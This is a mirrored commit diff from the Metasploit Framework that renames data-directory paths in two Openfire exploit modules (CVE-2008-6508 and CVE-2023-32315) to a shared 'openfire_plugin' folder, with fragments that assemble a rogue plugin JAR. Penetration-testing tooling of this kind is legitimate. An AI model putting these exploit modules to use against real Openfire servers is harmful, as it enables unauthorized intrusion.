mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-02 07:40:19 +02:00
Adjust files to be better shared
This commit is contained in:
parent
c34779a5f1
commit
b15d595de2
Before Width: | Height: | Size: 1.5 KiB After Width: | Height: | Size: 1.5 KiB |
Before Width: | Height: | Size: 1021 B After Width: | Height: | Size: 1021 B |
@ -141,12 +141,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
]
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
jar.add_files(files, File.join(Msf::Config.data_directory, "exploits", "CVE-2008-6508"))
|
||||
jar.add_files(files, File.join(Msf::Config.data_directory, "exploits", "openfire_plugin"))
|
||||
|
||||
plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8))
|
||||
plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(8+rand(8))
|
||||
|
||||
plugin_xml = File.open(File.join(Msf::Config.data_directory, "exploits", "CVE-2008-6508", "plugin.xml"), "rb") {|fd| fd.read() }
|
||||
plugin_xml = File.open(File.join(Msf::Config.data_directory, "exploits", "openfire_plugin", "plugin.xml"), "rb") {|fd| fd.read() }
|
||||
plugin_xml.gsub!(/PLUGINNAME/, plugin_name)
|
||||
plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)
|
||||
plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)
|
||||
|
@ -179,13 +179,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
]
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
jar.add_files(files, File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-32315'))
|
||||
jar.add_files(files, File.join(Msf::Config.data_directory, 'exploits', 'openfire_plugin'))
|
||||
|
||||
@plugin_name = datastore['PLUGINNAME'] || Rex::Text.rand_text_alphanumeric(8..15)
|
||||
plugin_author = datastore['PLUGINAUTHOR'] || Rex::Text.rand_text_alphanumeric(8..15)
|
||||
plugin_desc = datastore['PLUGINDESC'] || Rex::Text.rand_text_alphanumeric(8..15)
|
||||
|
||||
plugin_xml = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-32315', 'plugin.xml'))
|
||||
plugin_xml = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'openfire_plugin', 'plugin.xml'))
|
||||
plugin_xml.gsub!(/PLUGINNAME/, @plugin_name)
|
||||
plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)
|
||||
plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)
|
||||
|
Loading…
Reference in New Issue
Block a user